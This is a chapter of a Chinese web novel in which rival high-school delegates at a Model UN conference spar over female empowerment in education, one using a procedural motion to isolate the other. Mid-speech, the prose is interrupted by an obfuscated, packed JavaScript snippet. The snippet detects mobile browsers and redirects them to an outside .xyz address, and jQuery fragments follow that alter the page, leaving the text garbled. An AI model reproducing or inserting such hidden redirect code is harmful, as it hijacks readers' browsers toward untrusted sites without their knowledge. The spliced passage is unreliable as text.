林亦凡举起国家牌,提出动议,声音清晰,语气沉稳:
“Honorable chairperson, the delegate of India motions to suspend the meeting.”
顾梓聿心里咯噔一下,林亦凡想做什么?暂停正式辩论,进入核心磋商?这不是为了推进议程,更像是在打乱节奏。
果然,林亦凡话锋一转:
“我提议,接下来的讨论主题为,对女性参与男性主导的学术和职业领域的结构性和意识形态方面的制约,总时长为一个小时,各代表发言时间为2分钟。”
顾梓聿心一沉。他看向林亦凡,对方神色淡定,仿佛提出动议只是例行公事。
夏浓耐心听完,才打开话筒:“好,银地共和国的代表提出动议。”
她把林亦凡的话完完整整地重复了一遍,才接着道,“关于这个动议,台下有无附议?请附议国举起国家牌,如无附议,此动议自动作废。”
顾梓聿看到几个熟面孔举起了牌子。
夏浓随机点了一个国家:“华纳帝国附议,谢谢!”
“现在将进行全体投票表决,若投票数超过简单多数,该动议将即时通过。我再重申一次,一旦银地共和国的代表提出的动议通过,在接下来的一个小时内,各位代表发言的顺序将不按照之前的发言名单进行,请各位代表慎重考虑。”
顾梓聿心下一滞。他意识到了,却不太敢相信:林亦凡这一招,就是对着他来的。
本来这个议题以珀国的立场就很难打,林亦凡还特意限定了“学术和职业领域的结构不平衡”的主题。这一点,对于银地共和国和发达国家是非常好打的,但珀国还处于连初等教育都还没实现性别平等的阶段——
珀国仍然存在童婚的社会习俗,有过身孕的女性仍被歧视、不能重返学校。在这样的社会背景下,如果没有制度的变革,何谈平等的实现?更何谈女性在学术和职业领域的赋权?
而对于制度的改革,他既无立场,又无空间,越辩,越暴露自己的软肋,他又怎么能在这方面做文章?
更糟糕的是,今天这顿午餐之后,他主导的、本来已经形成雏形的 bloc 国家集团,就要分崩离析了。这个集团里几乎所有国家都是发达国家,他们的天然立场就和林亦凡是一边的。
虽然说在模联会场,一国一票,按理说大家是平等的。但会场毕竟是现实世界的模拟,主办方倾向于把在国际政局中举足轻重的大国分配给他们眼中有经验有能力的人。林亦凡也是因为去年参加过一届 HMUN 且表现不错,才被分到了银地这个GDP近年节节腾飞的人口大国。
午餐时那些人,基本上是这个会场上水平较高、参与度更积极的那一拨人,他想着跟这些人合作,也更可能产出好决议。
没想到,林亦凡这一招就瓦解了他中午的努力。
早知如此,当初他还勉强自己做什么?还不如自己找个地方安安静静地吃个午饭,休息一会儿。
意向条传了过来,是李知恩的:
“他这是冲着你来的吗?抱歉啊,但是我得投赞成票了。”
瞧瞧,连李知恩这个外人都看出来了。顾梓聿苦笑着捏住那张纸条,看着场上的代表们纷纷举起国家牌,他无奈地叹了口气:不用数了,光看举起牌的密集程度,他就知道这个动议肯定会被通过了。
林亦凡提出这个动议的时机很巧妙:如果更早一点,那个时候,正式发言名单上还剩下一多半国家代表,还没来得及给出自己国家的立场。如果林亦凡那时提出动议,这些国家代表肯定是不会同意的。
但现在,整个发言名单只剩下十多位代表了,这样小的数量级实在是对投票结果没什么影响。
他拿起笔,“刷刷”写了张意向条给林亦凡,交给了身边的工作人员。
林亦凡正听到夏浓宣布“动议通过”,工作人员给他递了个条子,他打开一看,落款是“顾”,条子里根本没讲究格式,纸上端端正正写了一句话:“学长,你不想拿最佳代表团奖了吗?”
顾梓聿试着求和。
最佳代表团奖是团体奖,候选者是每个学校派出的代表团。顾梓聿的本意是,他们俩出自同一个代表团,没必要内斗内耗,最好还是团结起来,也有更大的几率去拿这个最佳代表团奖。
林亦凡看了一眼,嘴角一挑,慢慢将其折起,夹进笔记本:最佳代表团并不要求团队里每个人都得表现得完美无缺,只要这个团队的整体表现优秀就够了。顾梓聿,没有你,八中只是少了一个人而已。最佳代表团奖,又不是缺你不可。
意向条迟迟没有回来,顾梓聿抿了抿嘴角,心里明白——他们之间,从这一刻起,已经从同盟变成了对手。他大概能猜到林亦凡为什么挑这个头,恐怕是由于中午田元元对他那亲近的态度。但他确实没想到,林亦凡会在会场上针对他,以公报私。
动议通过,发起者林亦凡自然而然成了新发言名单的第一人,顾梓聿看着其他几位学长也纷纷举起国家牌,这一刻,他终于意识到,自己完全是走进了林亦凡布下的埋伏圈啊!
但他不能退。
顾梓聿硬着头皮,也举牌示意要加入发言名单:不管怎样,先打过再说,无论如何也要给自己争取到一个说话的机会。
在非正式辩论中,提出动议的代表及其盟友有先发优势,更能抓住发言机会,来阐述本国家集团的立场和观点。
林亦凡显然早有准备,他清了清嗓子,直接拿起了手边的一沓报告,发言的语速沉稳镇静:
“主席女士、各位尊敬的代表,在我们讨论性别赋权之前,我希望大家先思考一个问题——如果我们只是在赋予’部分人’权利,而忽略结构的重塑,那么这个’赋权’其实就是一种新的偏见。”
“银地国家代表认为,要想改变目前在学术和职业领域的男女结构不平衡的现状,最重要的是,各国政府需要通过政治手段,来应对社会中存在的负面性别规范和态度。改革教育入学制度远远不够,我们认为,要推动各国建立性别比对机制,对职业晋升路径、学术资助的分配、公共领导层比例进行系统监测。”
几位代表点头,低声与身边人讨论。
“我手里拿着的是本委员会去年编号为 N950 的最新报告,在学术和职业领域,不平等现象处处皆是,比如,担任讲师或教师职位的近 80% 是女性,但负责人则通常为男性。在 30 个被调查的国家中,89% 的中学教师是女性,但校长中女性占比仅为 34%。而学术领域的不平等现象也很突出,工程、信息和通信技术专业的学生中,女生仅占四分之一。有的国家至今仍有相当数量的学术领域禁止向女性开放…”
嚯。顾梓聿感觉自己膝盖中了一枪:这说的不就是珀国吗?去年,珀国大学实施单性别授课的科目数升至新高,目前禁止女性参加的课程已经多达80多门,包括但不限于翻译、企业管理、应用物理、核物理、计算机科学、电机工程等课程。即使是在别国修习了这些学科的女大学生,珀国国内也没有相应的招聘需求,导致她们将面对一毕业就失业的状态。
本来珀国国内的高等教育资源就是非常缺乏的,现在再来了一个这个政策,女性接受高等教育的可能性就更小了。
林亦凡继续道:“如果我们不引入结构性配额、不正视无形壁垒,那么性别平等永远只能是愿景,不会成为现实。”
“…制度性性别偏见是通过文化再生产维系的,发达国家关于改善性别结构不平等的经验也适用于发展中国家,对于后者来说,即便处于社会发展初级阶段,也有义务迈出第一步…”
每一句话,听起来都像是在陈述事实,但顾梓聿听得出来,这不是讨论,是伏击。
林亦凡的表述暗含指责,既拷问珀国的立场,也质疑顾梓聿作为代表是否有足够的政治想象力与伦理担当。
顾梓聿边听边记笔记,准备着,如果林亦凡没能用完他那两分钟发言时间,选择开放评论或回答问题的话,他就要问一个能反驳他的问题,给他挑挑刺也好。顾梓聿想到了两个点,可是他低估了林亦凡的丰富经验,人家发言时间掐得刚刚好,正好提前一秒结束,而这剩下的一秒也就忽略不计了。
顾梓聿心里叹了口气,用力两笔把自己刚写的东西划掉,继续往下听其他代表的发言。
“…在华纳帝国,虽然两性比例在参政方面有所改善,但仍然存在着巨大的差距,女性在企业管理层、在立法机构或政府高层占据的席位依然很低…”
“…华纳代表认为,性别不平等现象持续妨害着女性发展,并危及整个社会,为了有效通过教育促进女性赋权,华纳帝国倡议各国进行关于性别平等的改革和立法,例如在政府机构和教职名额上,实行定量配给制,男女职工比例应达到1:1,或至少1:2,以利于推进实现性别平等的工作…”
“...现在仍有大量的观点支持,认为男孩比女孩更应上大学。若想要成功改变现状,我们必须改变整个社会的思潮,加强对社会舆论的引导...”
顾梓聿看着这位金发碧眼的白人小哥,一句一句地说着“作为华纳代表”、“华纳帝国认为”,作为一个真正的华纳人,怎么说呢?这感觉真是酸爽。
顾梓聿耐心地一个个听下去,呵,听到现在,所有已发言的代表的立场,都和林亦凡是一边的。林亦凡起了个头,几个发达国家代表接连补枪。他们从“政策保障”、“领导力培训”一路讲到“制度改革”、“监督监测”,彼此配合默契,没有留出丝毫给顾梓聿发挥的余地。
这些国家本身经济情况都还乐观,于是就都高举大旗,说要改革立法。顾梓聿闭了闭眼:这不是讨论,这是围猎,这是追着他打啊,简直比痛打落水狗的架势还狠。
到目前为止,性别极度不平等的国家还没有一个发言,像他们这种内忧外患的小国,只要敢改革就自己先死,不改革就被这些人骂死,难啊,真是难啊!
很快就轮到他了。
顾梓聿站起来,喉咙一阵干涩。他清楚,自己这两分钟必须“活下去”。
他第一句话没有急着反驳,而是转向发言席中那些看着他、感同身受的性别极度不平衡的小国代表,用眼神寻求着支持,表达着大家都在同一战线:
“首先,珀国感谢银地代表提出的讨论主题。它提醒我们,不能忽视制度与文化的层叠结构。但在考虑教育赋权女性的问题时,不能只从塔尖往下看,也该低头看看地基裂没裂。”
他声音异常清晰,甚至带着一种锋利的克制:
“主席女士、各位代表,我来自珀国,我们国家的议会性别比例不到3%,女性识字率不到六成。我们甚至还在为女孩接受
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15455938|166578||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
初等教育而辩论。”
“在银地、华纳这样的国家中,女性已经在高等教育中取得相对平等的机会,这是值得钦佩的进步。但对于珀国的女性而言,问题不在于她们有没有研究院能上,而是她们能不能完成小学阶段的教育。我们当然希望一步到位,但也必须承认,社会改变不能建立在单一标准之上。发达国家可以谈未来,发展中国家必须先面对现实。”
他沉默一瞬,给自己一个缓冲,继续道:
“刚才这些代表提出的观点,珀国代表不敢苟同。我并不是反对结构重塑,而是因为对于大多数仍挣扎在教育边缘的国家来说,’赋权’的起点不是配额,而是生存权与入学权。”
他顿了顿,声音微微扬高:“如果你让一个从没上过小学的女孩去争取大学里的话语权,那不是平等,那是讽刺。”
这番话一出口,会场短暂沉默。这话看似温和,实则暗讽林亦凡等一众代表站在道德制高点居高临下,不具备真正的“跨文化合作”意识。
顾梓聿没有为珀国的劣势辩解,而是换了个角度:
“珀国,以及其他发展中国家的情况的确复杂,但我们不是缺乏觉悟,而是步履艰难。我在这里,不代表完美的国家,我代表一个还在努力从灰烬中生长的社会。”
“我们恰恰因为太清楚现实之残酷,才比谁都明白改革的重与缓。”
“在模联的会场上,我们更应该考虑:是否能提出一个真正包容发展的提案?”
他说得不算激昂,却击中了在场一些发展中国家代表的痛点。一直坐在后排的洛托共和国代表竟然第一个鼓掌,随后有几位小国代表也纷纷点头。李知恩也点点头:看来,顾梓聿察觉到中午的 bloc 已瓦解,于是主动调整立场,转向“小国如何制定可行的性别发展策略”,吸引其他边缘国家认同。
顾梓聿的思路转地飞快,如果思考有声音的话,他的脑子应该正发出高频率的蜂鸣声。他一边说着一边检索着曾看到的有用的线索,突然间有了灵感。
他决定另辟蹊径、跳出囹圄,打他们一个出其不意:
“各位代表,珀国代表手里拿的正是本委员会去年编号为 N950 的最新报告。”
听出来玄机的代表们面面相觑:这不就是刚刚林亦凡提到的那一份报告吗?
“根据这份报告,性别平等在不同地区间的差距十分显著,如今,仍有近三分之一的国家尚未在初等教育领域实现性别平等;初中教育阶段,有近半数国家的女童接受教育的比率低于男童;仅四分之一国家实现了高中阶段教育内的性别平等。”
这不就是把议题背景重新说了一遍,加了点数据吗?根据前两次的发言,这不像是珀国代表应有的水平啊?有的代表开始疑惑。
“…而这些都与当地国家的经济发展水平呈正相关。”
哦,戏肉来了!李知恩抿唇一笑:她明白顾梓聿在打什么牌了。
“而且,区域战争也是影响因素之一。珀国认为,要提高女性在学术和职业领域的参与率,首先就要解决教育阶段的性别不平等问题。我们对国际社会聚焦女童教育的决定表示欢迎。这份报告还分析了目前在各国实行的推进性别平等的政策,其中,给送女童上学的家庭提供经济上的补贴,是反馈最好的政策。诚然,我们会努力并尽可能地完善我们的社会制度体系,但若要实现真正的改变…”
哈,李知恩忍笑:这是伸手向国际社会要钱来了!不得不说,这招俗,却也俗的有用。
“…鉴于性别不平等现象持续妨害着女性发展,并危及整个社会,为了有效通过教育促进女性赋权,我们谦卑地祈求,本委员会可以要求国际社会及其部分有余力的成员国,向处在困境的国家伸出援手,尤其是那些因为局部区域战争而无法保障女童受到教育的国家。”
有没城府的代表已经“噗嗤”一声笑出来了——顾梓聿引用了华纳代表的话,却完全歪曲了他的意思。会场各处响起零星的掌声,甚至有人轻轻吹了口哨。
跟林亦凡一派的八中的其他几位,已经面露菜色。林亦凡倒是依旧镇定,双手十指交握。
他没想到,顾梓聿不接他的招,不在他摆的棋盘上下棋,而是干脆掀翻了棋盘:你跟我聊体制,我就跟你谈钱。这可谓是戳到了各个发达国家的痛处:出台政策不过是多写几页纸的事,经济援助,那可是白花花的银子,真金白银啊。哪个国家会舍得拱手把自己的财富拿出去补贴别的国家?
顾梓聿也知道,若是继续在制度这个问题上纠缠,珀国本就占不到理,只会节节败退;不如就釜底抽薪,直击对方的痛点——你不是要干涉我国的内政吗?可以啊,先拿钱来。
林亦凡眼角抽动了一下。
这个人,没那么容易压下去。
顾梓聿防住了第一击,但这不算什么,看来,有必要让小学弟知道,一个“不会玩场面”的技术型代表,赢了一场发言,不代表就能赢下整场会议。
今天是代表们交换立场、组建国家集团的关键节点,他不准备让顾梓聿有第二次组织 bloc 的机会,他要让顾梓聿尝尝,什么叫“孤立无援”。
“表现不错,明天见。”会议结束后,林亦凡走到顾梓聿身边,把那张意向条还给他。
顾梓聿展开一看,林亦凡用墨蓝色的水笔在下面加了一行酣畅淋漓的字:“最佳代表团,不缺你一个。”